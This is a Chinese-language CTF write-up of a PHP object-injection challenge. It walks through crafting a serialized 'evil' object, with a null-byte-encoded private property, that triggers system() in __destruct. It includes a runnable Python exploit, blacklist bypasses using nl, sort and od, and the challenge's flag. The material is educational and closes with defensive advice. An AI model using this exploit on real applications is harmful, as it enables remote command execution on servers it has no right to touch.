CTF 解题报告WPPHP 反序列化命令执行题目环境http://50a2fdd04ffb018ce9f18a6f.http-ctf2.dasctf.com/题目类型Web / PHP 反序列化PHP Object Injection最终 FlagCTF2{402484f7-9c94-414b-9690-5b5c89c8dfd2}0. 先看懂这篇 WP 讲了什么这道题的核心只有一句话程序会把我们发过去的一串数据还原成 PHP 对象而这个对象在被销毁时会自动执行我们塞进去的系统命令。只要理解了这句话整道题就通了。下面从零开始一步一步讲清楚每一步在做什么、为什么要这么做。1. 打开题目看到源码访问题目地址后页面直接显示了 PHP 源码highlight_file(__FILE__)的作用就是把当前文件内容打印出来?phphighlight_file(__FILE__);// Maybe you need learn some knowledge about deserialize?classevil{private$cmd;publicfunction__destruct(){if(!preg_match(/cat|tac|more|tail|base/i,$this-cmd)){system($this-cmd);}}}unserialize($_POST[unser]);?源码逐行翻译给小白代码白话解释class evil { ... }定义了一个类名字叫evil邪恶里面有一个属性$cmd命令。private $cmd;$cmd是私有属性只有类内部能访问。这一点后面构造 payload 时非常关键。public function __destruct()魔术方法。当这个对象被销毁/回收时PHP 会自动调用它。if(!preg_match(/cat|tac|more|tail|base/i, $this-cmd))检查$cmd里是否含有cat、tac、more、tail、base这些词i表示忽略大小写。如果没有这些词条件成立。system($this-cmd);执行系统命令只是忽略报错显示。unserialize($_POST[unser]);关键把我们通过 POST 提交的unser参数还原成 PHP 对象。一句话总结漏洞成因用户可以通过 POST 提交任意序列化字符串 → 被unserialize()还原成对象 → 如果还原出的对象是evil类 → 脚本结束时该对象被销毁 → 触发__destruct()→ 执行system($cmd)→任意命令执行RCE。2. 需要补的基础知识小白必看2.1 什么是序列化和反序列化序列化serialize把内存里的对象/数组变成一串字符串方便存储或网络传输。反序列化unserialize把上面那串字符串还原回内存里的对象/数组。打个比方序列化 把乐高模型拆成零件装进盒子字符串。反序列化 按盒子里的清单把零件重新拼回模型。2.2 序列化字符串长什么样一个 PHP 序列化字符串由类型标识 内容组成写法含义s:5:hello;字符串string长度 5内容是helloi:123;整数integer123a:2:{...}数组array有 2 个元素O:4:evil:1:{...}对象Object类名长度 4evil有 1 个属性重点看对象格式O:类名长度:类名:属性个数:{属性列表}2.3 什么是魔术方法PHP 里有一些名字特殊的方法都以__开头会在特定时机自动被调用__construct()创建对象时自动调用。__destruct()对象被销毁时自动调用。 ←本题利用点__wakeup()反序列化时自动调用。因为__destruct()会在对象销毁时自动跑所以只要我们能造出一个evil对象并让它的$cmd是我们想要的命令脚本一结束它就会帮我们执行命令。2.4 为什么私有属性要写成\x00evil\x00cmd这是本题最容易踩坑的地方务必理解PHP 为了区分公有(public)、受保护(protected)、私有(private)属性在序列化时会给属性名加前缀属性类型序列化后的属性名格式举例public属性名cmdprotected\x00*\x00属性名\x00*\x00cmdprivate\x00类名\x00属性名\x00evil\x00cmd\x00是空字节NULLASCII 码 0看不见但真实存在。本题$cmd是private类名是evil所以属性名必须是\x00evil\x00cmd。这个字符串长度是91 个空字节 evil4 个字符 1 个空字节 cmd3 个字符 9。所以写成s:9:\x00evil\x00cmd。⚠️ 如果你写成 public 的cmdPHP 还原时可能识别不出该属性导致$cmd为空命令执行不出来。3. 开始解题第 1 步确定 flag 文件在哪里既然能执行任意命令第一步当然是看看服务器上有什么文件。构造 payload让$cmd ls -la /列出根目录。payload命令为ls -la /O:4:evil:1:{s:9:空字节evil空字节cmd;s:8:ls -la /;}把空字节换成真实的\x00十六进制 0x00。注意s:8:ls -la /里的 8 是命令字符串长度ls -la /正好 8 个字符空格也算。用 Python 发送请求最方便因为 payload 含空字节手敲浏览器不方便importrequests urlhttp://50a2fdd04ffb018ce9f18a6f.http-ctf2.dasctf.com/defmake(cmd):# \x00evil\x00cmd 是私有属性的完整名字长度 9returnO:4:evil:1:{s:9:\x00evil\x00cmd;s:%d:%s;}%(len(cmd),cmd)rrequests.post(url,data{unser:make(ls -la /)},timeout15)print(r.text)返回结果根目录列表total 84 drwxr-xr-x 1 root root 4096 Sep 23 08:45 . ... -rwxr-xr-x 1 root root 129 Aug 20 2023 start.sh -rw-r--r-- 1 root root 43 Sep 23 08:45 th1s_1s_fffflllll4444aaaggggg ← 可疑 drwxrwxrwt 1 root root 4096 Sep 23 08:45 tmp ...根目录下有个名字很嚣张的文件th1s_1s_fffflllll4444aaaggggg。这种故意起怪名字的文件通常就是藏 flag 的地方this is flag的变形。为什么先 ls 而不是直接读因为我们不知道 flag 文件叫什么、在哪里。先用ls侦察文件系统是 CTF 的标准第一步。第 2 步绕过黑名单读取 flag源码里的黑名单是cat、tac、more、tail、base。意思是命令里不能出现这些子串否则preg_match返回真system就不会执行。出题人禁掉的全是查看文件内容的常规命令cat 及各种变体。所以我们换一个不在黑名单里的等效命令来读文件。可用的替代命令都能打印文件内容命令作用是否在黑名单nl 文件带行号输出文件内容✅ 安全sort 文件排序输出单行文件照样打印✅ 安全od -c 文件以字符形式 dump 文件✅ 安全head 文件打印文件开头✅ 安全grep . 文件打印所有匹配行✅ 安全用nl读取 flagrrequests.post(url,data{unser:make(nl /th1s_1s_fffflllll4444aaaggggg)},timeout15)print(r.text)返回结果1 CTF2{402484f7-9c94-414b-9690-5b5c89c8dfd2}拿到 Flag4. 交叉验证确保不是错觉为稳妥起见用另外两个不在黑名单的命令再读一遍结果应完全一致forcmdin[sort /th1s_1s_fffflllll4444aaaggggg,od -c /th1s_1s_fffflllll4444aaaggggg]:rrequests.post(url,data{unser:make(cmd)},timeout15)print(r.text)结果CTF2{402484f7-9c94-414b-9690-5b5c89c8dfd2} ← sort 0000000 C T F 2 { 4 0 2 4 8 4 f 7 - 9 c 0000020 9 4 - 4 1 4 b - 9 6 9 0 - 5 b 5 0000040 c 8 9 c 8 d f d 2 } 0000053 ← od -c三种方式结果一致Flag 确认无误CTF2{402484f7-9c94-414b-9690-5b5c89c8dfd2}5. 完整利用代码可直接运行importrequests urlhttp://50a2fdd04ffb018ce9f18a6f.http-ctf2.dasctf.com/defmake(cmd): 构造 evil 对象的序列化字符串 - O:4:evil - 类名 evil4 个字符 - :1: - 1 个属性 - s:9:\x00evil\x00cmd - 私有属性 $cmd 的完整名字长度 9 - s:len:cmd - 要执行的命令 returnO:4:evil:1:{s:9:\x00evil\x00cmd;s:%d:%s;}%(len(cmd),cmd)# 第 1 步侦察根目录print(requests.post(url,data{unser:make(ls -la /)},timeout15).text)# 第 2 步读取 flag用 nl 绕过 cat/tac/more/tail/base 黑名单print(requests.post(url,data{unser:make(nl /th1s_1s_fffflllll4444aaaggggg)},timeout15).text)也可以用curl命令行发送。因为 payload 含空字节建议先把 payload 存到文件再用--data-urlencode或-d file发送用 Python 脚本是更省心的做法。6. 知识点复盘为什么这么解步骤做了什么为什么 / 原理1看源码发现unserialize($_POST[unser])__destruct里有system()→ 反序列化命令执行漏洞2构造evil对象只有evil类有能执行命令的__destruct3私有属性写成\x00evil\x00cmdPHP 私有属性序列化格式要求写错就读不到属性值4先ls -la /侦察文件系统定位 flag 文件路径5用nl代替cat绕过 cat6多命令交叉验证确认 flag 读取无误避免误判7. 关于防御出题人角度的反思如果这是真实业务怎么防永远不要反序列化用户可控的数据unserialize($_POST[...])是典型的危险写法。需要传数据用JSONjson_decode不要用 PHP 序列化。如果一定要执行系统命令使用白名单而不是黑名单过滤关键字——黑名单永远能被绕过本题就是例子。生产环境禁用system、exec、shell_exec等函数。8. 术语速查表术语含义RCERemote Code Execution远程代码/命令执行反序列化漏洞程序把不可信字符串还原成对象时带来的安全问题魔术方法PHP 中以__开头、在特定时机自动调用的方法__destruct对象销毁时自动调用\x00空字节NULL常出现在私有/受保护属性的序列化名里黑名单绕过用等效但不在黑名单里的命令/写法达到同样目的FlagCTF2{402484f7-9c94-414b-9690-5b5c89c8dfd2}
